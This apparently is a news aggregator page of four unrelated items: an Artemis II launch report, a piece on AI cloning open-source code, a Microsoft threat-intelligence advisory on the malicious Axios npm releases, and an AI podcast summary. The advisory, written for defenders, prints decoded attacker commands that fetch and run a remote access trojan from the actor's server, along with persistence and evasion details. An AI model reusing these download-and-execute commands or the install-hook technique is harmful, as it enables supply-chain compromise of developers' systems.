NASA launches four astronauts toward the Moon on the Artemis II mission

1 Share

NASA's Artemis II flight, which is set to take four astronauts toward the Moon for the first time in more than 50 years, successfully launched on Wednesday evening.

The Artemis II mission, part of NASA's Artemis program that's intended to bring humans back onto the Moon as early as 2028, will bring the four astronauts in orbit around the Moon on the first crewed flight of the Space Launch System (SLS) rocket. The astronauts, Reid Wiseman, Victor Glover, and Christina Koch, and Canadian Jeremy Hansen, will make the trip aboard the Orion crew capsule, and the full mission is expected to be a 10-day journey. The mission was delayed in February

AI Can Clone Open-Source Software In Minutes

1 Share
ZipNada writes: Two software researchers recently demonstrated how modern AI tools can reproduce entire open-source projects, creating proprietary versions that appear both functional and legally distinct. The partly-satirical demonstration shows how quickly artificial intelligence can blur long-standing boundaries between coding innovation, copyright law, and the open-source principles that underpin much of the modern internet. In their presentation, Dylan Ayrey, founder of Truffle Security, and Mike Nolan, a software architect with the UN Development Program, introduced a tool they call malus.sh. For a small fee, the service can "recreate any open-source project," generating what its website describes as "legally distinct code with corporate-friendly licensing. No attribution. No copyleft. No problems." It's a test case in how intellectual property law -- still rooted in 19th-century precedent -- collides with 21st-century automation. Since the US Supreme Court's Baker v. Selden ruling, copyright has been understood to guard expression, not ideas. That boundary gave rise to clean-room design, a method by which engineers reverse-engineer systems without accessing the original source code. Phoenix Technologies famously used the technique to build its version of the PC BIOS during the 1980s. Ayrey and Nolan's experiment shows how AI can perform a clean-room process in minutes rather than months. But faster doesn't necessarily mean fair. Traditional clean-room efforts required human teams to document and replicate functionality -- a process that demanded both legal oversight and significant labor. By contrast, an AI-mediated "clean room" can be invoked through a few prompts, raising questions about whether such replication still counts as fair use or independent creation.

Mitigating the Axios npm supply chain compromise

1 Share

On March 31, 2026, two new npm packages for updated versions of Axios, a popular HTTP client for JavaScript that simplifies making HTTP requests to a REST endpoint with over 70 million weekly downloads, were identified as malicious. These versions (1.14.1 and 0.30.4) were injected with a malicious dependency to download payloads from known actor command and control (C2). Microsoft Threat Intelligence has attributed this infrastructure and the Axios npm compromise to Sapphire Sleet, a North Korean state actor.

Following successful connection to the malicious C2, a second-stage remote access trojan (RAT) payload was automatically deployed based on the operating system of the compromised device, including macOS, Windows, and Linux. This activity follows the pattern of recent high-profile supply chain attacks, where other adversaries poison widely adopted open-source frameworks and their distribution channels to achieve broad downstream impact.

Users who have installed Axios version 1.14.1 or 0.30.4 should rotate their secrets and credentials immediately and downgrade to a safe version (1.14.0 or 0.30.3). Users should also follow the mitigation and protection guidance provided in this blog, including disabling auto-updates for Axios npm packages, since the malicious payload includes a hook that will continue to attempt to update.

This blog shares Microsoft Threat Intelligence’s findings from our analysis, Microsoft Defender detections in place that alerted and protected our customers, additional protections we have implemented in our products to detect and block malicious components, and suggested mitigations for organizations to prevent further compromise.

Analysis of the attack

On March 31, 2026, two malicious versions of Axios npm packages were released. These packages connected to a known malicious domain (C2) owned by Sapphire Sleet to retrieve a second-stage remote access trojan (RAT). Since Axios packages are commonly auto-updated, any projects with Axios versions higher than axios@^1.14.0 or axios@^0.30.0 connected to this Sapphire Sleet C2 upon installation and downloaded second-stage malware. Windows, macOS, and Linux systems are all targeted with platform-specific payloads.

Microsoft Threat Intelligence has determined the account that created the plain-crypto-js package is associated with Sapphire Sleet infrastructure. That account has been disabled.

Silent install-time code execution using dependency insertion

The updated versions of Axios inject plain-crypto-js@4.2.1, a fake runtime dependency that executes automatically through post-install with no user interaction required. The trusted package’s application logic is not modified; instead, the threat actor added a dependency that is never imported by the package’s runtime code but only exists to trigger an install-time script to download the second-stage RAT. That means normal app behavior might remain unchanged while malicious activity occurs during npm installation or npm update on developer endpoints and continuous integration and continuous delivery (CI/CD) systems.

The dependency is seeded into a clean release (plain-crypto-js@4.2.0) to establish publishing history and reduce scrutiny. A follow‑up release adds the malicious install-time logic (plain-crypto-js@4.2.1), introducing an install hook that runs node setup.js and includes a clean manifest stub (package.md) intended for later replacement. 

Two Axios releases are then published with a surgical manifest-only change: axios@1.14.1 and axios@0.30.4 add plain-crypto-js@^4.2.1 as a dependency while leaving Axios source code unchanged. The publication metadata differs from the project’s normal CI-backed publishing pattern (for example, missing trusted publisher binding and missing corresponding repo tag/commit trail for the malicious version). 

Execution on compromised environments

The first-stage loader (setup.js) uses layered obfuscation to reconstruct sensitive strings (module names, platform identifiers, file paths, and command templates) at runtime. A developer or CI job runs npm install axios (or a dependency install/update that resolves to the affected versions). The package manager resolves and installs the injected dependency (plain-crypto-js@4.2.1). 

During installation, the dependency’s lifecycle script automatically launches node setup.js (no additional user step required), which decodes embedded strings at runtime, identifies the platform, and connects to hxxp://sfrclak[.]com:8000/6202033 to fetch the next stage. 

Single endpoint C2 with OS-specific responses

The package connects to a Sapphire Sleet-owned domain (hxxp://sfrclak[.]com), which fetches a second-stage payload from an actor-controlled server running on port 8000. The associated IP address (142.11.206[.]73) is tied to Hostwinds, a virtual private server (VPS) provider that Sapphire Sleet is known to commonly use when establishing C2.

All platforms connect to the same resource over the same path (hxxp://sfrclak[.]com:8000/6202033), and the OS selection is conveyed through POST bodies packages.npm.org/product0|product1|product2. This enables the operator to serve platform-specific payloads from one route while keeping the client-side logic minimal. On Windows, the malicious npm drops a VBScript stager. On macOS, the malicious npm package drops a native binary.

  • macOS: packages.npm.org/product0 
  • Windows: packages.npm.org/product1 
  • Linux/other: packages.npm.org/product2

Second-stage delivery and execution mechanics by OS

macOS (Darwin)

On macOS, the RAT is identified as a native binary: com.apple.act.mond.

Setup.js writes an AppleScript into a temp location and runs it silently using nohup osascript … &.  AppleScript POSTs packages.npm.org/product0 to hxxp://sfrclak[.]com:8000/6202033, downloads a binary to /Library/Caches/com.apple.act.mond, applies chmod 770, then starts it using /bin/zsh in the background.

node setup.js
  └─ sh -c 'curl -o /Library/Caches/com.apple.act.mond

The AppleScript is removed afterward; the durable artifact is typically Library/Caches/com.apple.act.mond

  • SHA-256: 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a

Observed macOS command (as decoded):

sh -c 'curl -o /Library/Caches/com.apple.act.mond -d packages.npm.org/product0 -s 
hxxp://sfrclak[.]com:8000/6202033 && chmod 770 /Library/Caches/com.apple.act.mond && 
/bin/zsh -c "/Library/Caches/com.apple.act.mond hxxp://sfrclak[.]com:8000/6202033 &" &> 
/dev/null'

Windows

On Windows, the RAT is identified as a PowerShell: 6202033.ps1.

  • SHA-256: ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c
  • SHA-256: 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101
node.exe setup.js                                          ← npm post-install hook
  └─ drops: %TEMP%\6202033.vbs                             ← VBScript stager

On first execution, the PowerShell RAT creates %PROGRAMDATA%\system.bat and adds a registry run key at HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate to enable re-fetching of RAT after every reboot. This added registry run key can persist after reboot.

  • SHA-256: f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd

The chain locates PowerShell (using where powershell) then copies and renames the PowerShell into %PROGRAMDATA%\wt.exe (masquerading as a benign-looking executable name). It writes a VBScript in %TEMP% and runs it using cscript //nologo to keep user-facing windows hidden. 

The VBScript launches hidden cmd.exe to POST packages.npm.org/product1 to hxxp://sfrclak[.]com:8000/6202033, saves the response to a temp .ps1, executes it with hidden window and execution-policy bypass, then deletes the .ps1.

The temporary .vbs is also removed; the durable artifact is often %PROGRAMDATA%\wt.exe.

Observed Windows command (as decoded):

"cmd.exe" /c curl -s -X POST -d "packages.npm.org/product1" 
"hxxp://sfrclak[.]com:8000/6202033" > 
"C:\Users\\AppData\Local\Temp\6202033.ps1" & 
"C:\ProgramData\wt.exe" -w hidden -ep bypass -file 
"C:\Users\\AppData\Local\Temp\6202033.ps1" 
"hxxp://sfrclak[.]com:8000/6202033" & del 
"C:\Users\\AppData\Local\Temp\6202033.ps1" /f 

Linux/others

On Linux, the RAT is identified as a Python payload: ld.py.

  • SHA-256: fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf 

A Python payload is written to /tmp/ld.py and launched detached using nohup python3 … &, suppressing output (> /dev/null 2>&1)

node setup.js
  └─ /bin/sh -c "curl -o /tmp/ld.py

Setup.js executes a shell one-liner to POST packages.npm.org/product2 to hxxp://sfrclak[.]com:8000/6202033

The response is saved as /tmp/ld.py and executed in the background using nohup python3 /tmp/ld.py hxxp://sfrclak[.]com:8000/6202033 … &.

/tmp/ld.py remains a key on-disk indicator in typical flows.

Observed Linux/Unix command (as decoded):

/bin/sh -c "curl -o /tmp/ld.py -d packages.npm.org/product2 -s 
hxxp://sfrclak[.]com:8000/6202033 && nohup python3 /tmp/ld.py 
hxxp://sfrclak[.]com:8000/6202033 > /dev/null 2>&1 &" 

Post-execution defense evasion

After launching the second-stage payload, the installer logic removes its own loader (setup.js) and removes the manifest (package.json) that contained the install trigger.

It then renames package.md to package.json, leaving behind a clean-looking manifest to reduce the chance that post-incident inspection of node_modules reveals the original install hook.

RAT deployment as covert remote management

The Windows RAT is a PowerShell script that functions as a covert remote management component designed to persist on Windows systems and maintain continuous contact with an external command server. When executed, it generates a unique host identifier, collects detailed system and hardware information (including OS version, boot time, installed hardware, and running processes), and establishes persistence by creating a hidden startup entry that re-launches the script at user sign in under the guise of a legitimate update process.

The RAT communicates with the remote server using periodic, encoded HTTP POST requests that blend in with benign traffic patterns, initially sending host inventory and then polling for follow‑on instructions. Supported commands allow the remote threat actor to execute arbitrary PowerShell code, enumerate files and directories across the system, inject additional binary payloads directly into memory, or terminate execution on demand. To reduce forensic visibility, the script favors in‑memory execution, temporary files, and Base64‑encoded payloads, enabling flexible control of the compromised system while minimizing on‑disk artifacts.

Who is Sapphire Sleet?

Sapphire Sleet is a North Korean state actor that has been active since at least March 2020. The threat actor focuses primarily on the finance sector, including cryptocurrency, venture capital, and blockchain organizations. These targets are often global, with a particular interest in the United States, as well as countries in Asia and the Middle East. The primary motivation of this actor is to steal cryptocurrency wallets to generate revenue, and target technology or intellectual property related to cryptocurrency trading and blockchain platforms.

Sapphire Sleet often leverages social networking sites, such as LinkedIn, to initiate contact by directing users to click links, leading to malicious files hosted on attacker-controlled cloud storage services such as OneDrive or Google Drive, using domains masquerading as financial institutions like United States-based banks or cryptocurrency pages, and fraudulent meeting links that impersonate legitimate video conferencing applications, such as Zoom. Sapphire Sleet overlaps with activity tracked by other security vendors as UNC1069, STARDUST CHOLLIMA, Alluring Pisces, BlueNoroff, CageyChameleon, or CryptoCore.

Mitigation and protection guidance

In organizations where the security posture of npm packages might require review of updates prior to deployment, disabling auto-upgrade features is strongly encouraged. In package.json, remove use of caret (^) or tilde (~) which allow auto-upgrade of any minor or patch update up to a major version. Instead, use an exact version and handle upgrades manually.

What to do now if you’re affected

For organizations affected by this attack, Microsoft Threat Intelligence recommends the following steps:

  • Roll back all deployments of Axios to safe versions (1.14.0 or 0.30.3 or earlier).
  • Use overrides to force pinned versions for transitive dependencies.
  • Flush the local cache with “npm cache clean –force“.
  • Disable or restrict automated dependency bots for critical packages.
  • Adopt Trusted Publishing with OIDC to eliminate stored credentials.
  • Review your CI/CD pipeline logs for any npm install executions that might have updated to axios@1.14.1 or axios@0.30.4 or presence of plain-crypto-js in your npm install / npm ci outputs.
  • Look for outbound connections in network egress traffic to sfrclak[.]com or 142.11.206[.]72 on port 8000.
  • Developer machines: Search home directory for any node_modules folder containing plain-crypto-js or axios@1.14.1 or axios@0.30.4.
  • Rotate all secrets and credentials that are exposed to compromised systems.
  • When possible, ignore postinstall scripts. If the scenario allows, use “npm ci –ignore-scripts” to prevent postinstall hooks from running or disable postinstall scripts by default with “npm config set ignore-scripts true”.
  • Remove all Axios files/code from the victim systems and re-install cleanly.

Defending against the Axios supply chain attack

Microsoft Threat Intelligence recommends the following mitigation measures to protect organizations against this threat.

  • Fully stop Axios from being upgraded unless you explicitly choose to upgrade – In package.json, remove ^ or ~ (which allows auto-upgrade of any minor or patch update) and use an exact version. NOTE: With this change, versions never upgrade unless you change them manually:
{
  "dependencies": {
    "axios": "1.14.0"
  }
}
``
  • Block Axios upgrades even if a transitive dependency tries – If Axios appears indirectly, force a version using overrides (npm ≥ 14). This forces all dependencies to use the pinned version, which is especially useful for security incidents. NOTE: With this change, versions never upgrade unless you change them manually:
{
  "overrides": {
    "axios": "1.14.0"
  }
}
``
  • Disable automated dependency bots (such as Dependabot or Renovate) by disabling or restricting Axios updates in their config to prevent PR‑based auto‑updates, which are often mistaken for npm behavior:
# Dependabot example
ignore:
  - dependency-name: "axios"
  • Check for malicious Axios versions in the organization to ensure that workflows and systems don’t use compromised Axios versions (1.14.1 and 0.30.4).
  • Assess the potential blast radius from affected endpoints
    • The Exposure Management graph provides a unified representation of organizational assets and their relationships, including identities, endpoints, cloud resources and secrets.  This graph is also exposed to customers through Advanced Hunting in Microsoft Defender, enabling programmatic exploration of these connections.
    • Using advanced hunting, security teams can query this graph to assess the potential blast radius of any given node, such as a server affected by the RAT. By understanding which assets are reachable through existing permissions and trust relationships, organizations can prioritize remediation of the most critical exposure paths.
    • Additional examples and query patterns are available here as well as in the hunting queries section.

The Ultimate AI Catch-Up Guide

From: AIDailyBrief
Duration: 29:59
Views: 555

NLW presents the current AI landscape where capabilities are accelerating, daily adoption among advanced knowledge workers is widespread, and hallucination rates have dropped dramatically. Debunks common myths by showing AI output varies in quality and excels at augmenting research, writing, images, and automation when treated as an iterative coach rather than a replacement for judgment. Offers practical guidance: prioritize context, run rapid iterate-and-verify cycles, experiment with agents and automations, and avoid outsourcing critical decision-making to confidently wrong outputs.
